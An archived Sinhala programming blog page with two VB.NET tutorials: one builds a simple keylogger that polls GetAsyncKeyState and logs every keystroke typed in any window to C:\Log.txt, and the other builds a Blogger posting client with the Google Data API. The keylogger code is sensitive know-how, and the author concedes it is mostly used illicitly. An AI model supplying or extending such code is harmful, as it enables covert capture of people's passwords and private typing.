Pages

Friday, October 8, 2010

Capturing Key Stroke

අද ටිකක් විතර Illegal වැඩක් ගැන ලියන්න හිතුනා. Illegal  කිව්වට ඉතින් මේක Illegal නොවන අවස්ථාත් ඕන තරම් තියෙනව. හැබැයි ඉතින් අපේ කට්ටිය මේව පාවිච්චි කරන්නෙ නම් හොර වැඩ කරන්න. කට්ටිය අහල ඇතිනේ Key loggers ගැන. මේව Hardware device එකක් වෙන්නත් පුළුවන් එහෙමත් නැත්නම් Software එකක් වෙන්නත් පුළුවන්. අද ලියන්න හදන්නෙ මේ Key logger software වල පාවිච්චි කරන්න Key stroke එක Capture කර ගන්න හැටි. දැන් සමහරු හිතනව ඇති මම මේ හොර වැඩ කරන්න උගන්වනව කියල. නමුත් මේක හොර වැඩ වලට වගේම හොර නොවන වැඩ වලටත් පාවිච්චි කරන්න පුළුවන්. ඒක ඉතින් පාවිච්චි කරන කෙනා තීරණය කරාවි.

හරි මෙහෙමයි වැඩේ සිද්ධ වෙන්නෙ. අපිට මේකට අවශ්‍ය වෙනව API එකක්. අපි ඒ Function එක Declare කර ගනිමු. මුලින්ම Code Editor එකේ උඩින්ම මෙහෙම ලියා ගන්න.

Imports System.Runtime.InteropServices

දැන් Class definition එක ඇතුලෙ මෙහෙම ලියා ගන්න.
DllImport("User32.dll")> _
Private Shared Function GetAsyncKeyState(ByVal Key As Integer) As Integer
End Function
GetAsyncKeyState කියන එකෙන් වෙන්නේ යම් කිසි අවස්ථාවක මෙහි Parameter එක වශයෙන් දෙන Key එක Press වෙලාද නැද්ද කියල හොයා ගන්න එක. දැන් Form එකට Timer එකක් එකතු කරගන්න.  Timer එකේ Enabled Property එකත් True කර ගන්න. දැන් Class Definition එකට පහලින් මෙන්න මේ Objects ටික Declare කර ගන්න.
Private fs As New FileStream("C:\Log.txt", FileMode.Append)
Private sw As New StreamWriter(fs)
මෙතනදී කරල තියෙන්නෙ FileStream Object එකක් හා StreamWriter Object එකක් සාදා ගැනීමයි. FileStream එකෙහි Path එක විදියට මම C:\Log.txt කියන එක දීල තියනව. FileModeඑක විදියට Append යන්න භාවිතා කරල තියෙනව. ඊට පස්සෙ Timer එකේ Tick Event handler එක ඇතුලෙ පහල එක ලියාගන්න.
For Each x As Integer In [Enum].GetValues(GetType(Keys))
   If GetAsyncKeyState(x) = -32767 Then
      sw.Write([Enum].GetName(GetType(Keys), x))
      sw.Flush()
   End If
Next
මුලින්ම මම For Each Loop එකක් පාවිච්චි කරල තියනව. ඒ වගේම මෙතන Enum කියන Class එකේ GetValues කියන Function එක පාවිච්චි කරල තියනව. මේ Function එකෙන් වෙන්නෙ යම් කිසි enumerator එකක තියෙන Constants වල Values ලබා ගන්න එක. මෙහිදී Values ලබා ගන්න අවශ්‍ය enumerator එක වශයෙන් Keys කියන enumerator එක දීල තියෙනවා. For Each Loop එකෙන් මෙම ලබා ගන්න Values එකින් එක x කියන Variable එකට දාගන්නව. ඊට පස්සෙ මම If Statement එකත් එක්ක GetAsyncKeyState Function එක Call කරල තියෙනව. මෙතනදී වෙන්නෙ x කියන Variable එකේ තියෙන Key එක මෙම අවස්ථාවේ දී Press වෙලා තියෙනවද නැත්ද කියල බලා ගැනීමයි. ඊලඟ Statement එකෙන් වෙන්නෙ අදාල Key එකෙ Press වෙලා තියනවනම් ඊට අදාල Constant Name එක ලබාගෙන එය File Stream එකට ලිවීමයි. දැන් Program එක Run කරල බලන්න. ඔයගොල්ලො මොන Window එකේ මොනව Type කලත් ඒක FileStream එකේ දීපු Path එකේ Save වේවි. මේකෙත් පොඩි පොඩි අඩුපඩු තියනව. පුලුවන්නම් ඒව හදල හොඳ වැඩකට මේක පාවිච්චි කරන්න. එහෙනම් අදට නැවතුනා.

Tuesday, October 5, 2010

Google Data API

මෙම Post එකෙන් මම ලියන්න හදන්නෙ Google Data API පාවිච්චි කරල .NET වලින්  Blogger සඳහා Client application එකක් හදා ගන්නෙ කොහොමද කියලයි. Google Data API පාවිච්චි කරල අපිට පුළුවන් Google මඟින් සපයන නොයෙකුත් සේවාවන් සමඟ සම්භන්ධ වීමට Applications හදා ගන්න. ඒ කියන්නෙ Blogger, Picasa, Google calendar, Google spreadsheets, YouTube වැනි සේවාවන් සමඟ සම්භන්ධ වීමට අපේම Applications ලියා ගන්න.

මුලින්ම කරන්න ඕන Google Data API Download කරගන්න එක. මේ සඳහා මෙම ලින්ක් එක පාවිච්චි කරන්න. http://code.google.com/p/google-gdata/downloads/detail?name=Google%20Data%20API%20Setup%20%281.6.0.0%29.msi&can=2&q= මේක Download වුනයින් පස්සෙ Install කර ගන්න. මේකත් එක්ක ගොඩක් Sample codes අපට ලබා දෙනව. Blogger client එක සඳහා අවශ්‍ය වෙන codes ද මෙහිදී ලබා ගන්න පුළුවන්. මම බලාපොරොත්තු වෙන්නෙ එම Code එක සරල පැහැදිලි කිරීමක් සහිතව ඉදිරිපත් කරන්නයි. හරි දැන් අපි සූදානම් වැඩේ පටන් ගන්න. මම මේ Program එක  ලියන්න යන්නෙ VB වලින් නමුත් C# වුවද මේ සඳහා භාවිතා කල හැකියි.

ප්‍රථමයෙන්ම මම පහත රූපයෙ දැක්වෙන විදියට User interface එක design කර ගෙන තියෙනවා. මෙහිදී මම User ව Authenticate කර ගන්න User name එක හා Password එක ලබා දීමට Text boxes දෙකක් පාවිච්චි කරල තියනවා. ඒවගේම එම User ට අයිති බ්ලොග් අඩවි පෙන්වීම සඳහා Combo box එකක් පාවිච්චි කරල තියනවා. ඒවගේම Sign in Button එක මඟින් User ව Authenticate කර ගැනීම හා User ට අයිති බ්ලොග් අඩවි Combo box එකෙහි දැක්වීම සිදුකරනවා. පහල කොටසින් Combo box එක මඟින් තෝරා ඇති බ්ලොග් එක සඳහා අළුත් Post එකක් එකතු කිරීම සිදුකරනවා.


දැන් කරන්න තියෙන්නෙ අදාල Class library එක අපෙ Solution එකට සම්භන්ධ කරන එක. ඒ සඳහා Solution explorer හී අපේ Project එක මත Right click කර Add Reference යන්න තෝරා ලැබෙන Dialog box එකෙහි .NET Tab එකට ගොස් එහි ඇති ලිස්ට් එකෙන් Google Data API Core Library යන්න තෝරා OK කරන්න.

දැන් අපි බලමු කොහොමද Codes ලියාගන්නෙ කියලා. මුලින්ම Code editor එකෙහි ඉහලින්ම පහත ආකාරයෙන් ලියාගන්න

Imports Google.GData.Client

දැන් අපිට Google මඟින් අපි ලබා ගන්නා සේවාව කුමක්ද කියා සඳහන් කර ගැනීමක් අවශ්‍ය වෙනවා. ඒ කියන්නේ අපි මෙහිදී පාවිච්චි කරන්නෙ Blogger නිසා  ලබා ගන්නා සේවාව blogger යනුවෙන් සඳහන් කර ගැනීමක් අවශ්‍යයි. මේ සඳහා අපිට Service class එක පාවිච්චි කරන්න පුළුවන්. මෙහි Constructor එකට පහත ආකාරයට ලබා ගන්නා සේවාව හා අපගේ Application එකෙහි නම ලබා දිය යුතුයි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න.
Private service As New Service("blogger", "Blogger Client")
දැන් අපිට Application එක පාවිච්චි කරන User ව Authenticate කර ගන්න ඕන. මේ සඳහා අපිට GDataCredentials class එක පාවිච්චි කරන්න පුළුවන්. දැන් පහත ආකාරයට Code එක ලියාගන්න.
Dim user As String = txtUser.Text
Dim password As String = txtPassword.Text
Dim credential As New GDataCredentials(user, password)
service.Credentials = credential
දැන් අපිට අවශ්‍යයි Authenticate කර ගත් User ට අයිති Blogs ටික Combo blox එකට add කර ගන්න. ඒක පහත ආකාරයෙන් කර ගන්න පුළුවන්.
Dim ServiceQuery As New FeedQuery
ServiceQuery.Uri = New Uri("http://www.blogger.com/feeds/default/blogs")
feed = service.Query(ServiceQuery)
blogs = Nothing
For Each blogs In feed.Entries
   cmbBlog.Items.Add(blogs.Title.Text)
Next 
මෙහි දැක්වූ User ව Authenticate කර ගන්නා කොටස සහ User ට අයිති Blogs ටික Combo blox එකට add කර ගන්නා කොටස් දෙක පහත ආකාරයට Sign in button එකෙහි Click event එකෙහි තිබිය යුතුයි.
Private Sub cmdSign_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdSign.Click
   Dim user As String = txtUser.Text
   Dim password As String = txtPassword.Text
   Dim credential As New GDataCredentials(user, password)
   service.Credentials = credential
   Dim ServiceQuery As New FeedQuery
   ServiceQuery.Uri = New Uri("http://www.blogger.com/feeds/default/blogs")
   feed = service.Query(ServiceQuery)
   blogs = Nothing
   For Each blogs In feed.Entries
      cmbBlog.Items.Add(blogs.Title.Text)
   Next
End Sub
දැන් අපි බලමු මෙහි සිදු කර ඇත්තේ කුමක්ද කියා. ප්‍රථමයෙන් Authenticate කර ගත් User ට අදාල Feed එක සොය ගත යුතු වෙනවා. මෙම Feed එකෙහි එම User විසින් ලියන Blogs සම්භන්ධ විස්තර තියනව. මෙම Feed එක සොයා ගැනීමට FeedQuery class එක හා AtomFeed class එක පාවිච්චි කරන්න පුළුවන්. FeedQuery හී Uri Property එකට http://www.blogger.com/feeds/default/blogs නම් Feed භාවිතා කරන්නේ එම Feed එක මඟින් Authenticate කර ගත් User ට අදාල Feed එක ලබා ගත හැකි නිසයි. දැන් මෙම FeedQuery Object එක කලින් සකස් කරගත් Service Object එකෙහි Query Function එකට ලබා දීමෙන් AtomFeed Object එකක් Return වේ. මෙහි feed යනුවෙන් ඇත්තේ AtomFeed class එක පාවිච්චි කර සාදාගත් Object එකයි. මෙම Object එක මඟින් User ට අදාල Feed එක ලබා ගත හැකියි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. දැන් AtomFeed Object එකෙන් ලබා ගත් User ට අදාල Feed එකෙන් එම User විසින් ලියන බ්ලොග් අඩවි පිළිබඳ විස්තර වෙන් කර ගනිමු. මේ සඳහා AtomEntry class එක පාවිච්චි කරන්න ඕන. මෙහි blogs යනුවෙන් ඇත්තේ AtomEntry class එක පාවිච්චි කර සාදාගත් Object එකයි. මෙයද Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. මෙහි අවසානයේ For Each Loop එකක් භාවිතා කිරීමෙන් feed object එකෙහි ඇති entries blogs object එකට ලබා ගෙන එමගින් බ්ලොග් එකෙහි Title එක Combo box එකට add කර ගෙන ඇත.

දැන් මෙම Program එක Run කර බලන්න. දැන් ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. මෙහිදී ඔබ නිවැරදි විදියට Authenticate වූවා නම් ඔබ විසින් ලියන Blogs වල Title එක Combo box එකෙහි පෙන්විය යුතුයි.

හොඳයි දැන් අපි බලමු කොහොමද අපේ Blog එකකට අළුත් Post එකක් එකතු කරන්නෙ කියල. මෙහිදී සිදු වන්නේ අපි Combo box එකෙන් අදාල Blog එක තෝරන විට එම Blog එකට අදාල Feed එක සොයා එම Feed එකට අනුව අළුත් Post එකක් එකතු වීමයි. එහෙනම් අපි මුලින්ම බලමු අපි Combo box එකෙන් Blog එකක් තෝරන විට එම Blog එකට අදාල Feed එක සොයා ගන්නේ කොහොමද කියා. මේ සඳහා Combo box එකෙහි SelectedIndexChanged Event එක භාවිතා කරන්න. දැන් මෙම Event handler එක තුල පහත Code එක ලියා ගන්න.
Dim title As String = cmbBlog.SelectedItem
For Each blogs In feed.Entries
   If blogs.Title.Text = title Then
      blogFeed = blogs.FeedUri
      Return
   End If
Next
මෙහිදී සිදු වන්නේ Combo box එකෙහි selected item එක ඒ කියන්නෙ Blog එකෙහි Title එක එම Blog එකෙහි Feed එක තුල ඇත්දැයි බලා තිබේනම් එහි URL එක blogFeed නම් String Variable එක තුලට ලබා ගැනීමයි. මෙහි blogFeed Variable එක Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. දැන් කල යුතු වන්නේ සොයා ගත් Feed එකට අනුව Post එක එකතු කිරීමයි. මේ සඳහා Submit Button එකෙහි Click Event එක භාවිතා කරන්න. දැන් එහි පහත ආකාරයෙන් ලියා ගන්න.
Dim post As New AtomEntry
Dim postContent As New AtomContent
Dim postfeed As New Uri(blogFeed)
post.Title.Text = txtTitle.Text
postContent.Content = txtPost.Text
post.Content = postContent
service.Insert(postfeed, post)
txtTitle.Clear()
txtPost.Clear()
මෙහිදී service object එකෙහි Insert Method එක භාවිතා කර ඇති අතර එහි Parameters වශයෙන් Blog එකෙහි Feed එක හා අදාල Post එක කුමක්ද යන්න ලබා දී ඇත. Post එක සඳහා AtomEntry Object එකක් භාවිතා කර ඇති අතර ඉන් Post එකෙහි Title එක සැකසිය හැකිය. AtomContent Object එකක් මඟින් Post එකෙහි Content ලබාදී ඇත.

දැන් නැවත Program එක Run කර බලන්න. ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. දැන් Combo box එක තුලින් Post එක Publish කිරීමට අවශ්‍ය Blog එක තෝරන්න. Post කිරීමට අවශ්‍ය දෙය හා එහි Title එක පහතින් ලබා දී Submit button එක Click කරන්න. සියල්ල නිවැරදිව සිදුවාවානම් ඔබගේ Post එක ඔබ තේරූ Blog එකෙහි Publish විය යුතුය.

මෙහි සම්පූර්ණ Source code එක ලබා ගැනීමට පහත Link එක භාවිතා කරන්න.

Download

මා මෙය සකස් කර ඇත්තේ .NET Framework 2.0 භාවිතයෙන් නිසා මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්‍ය වේ.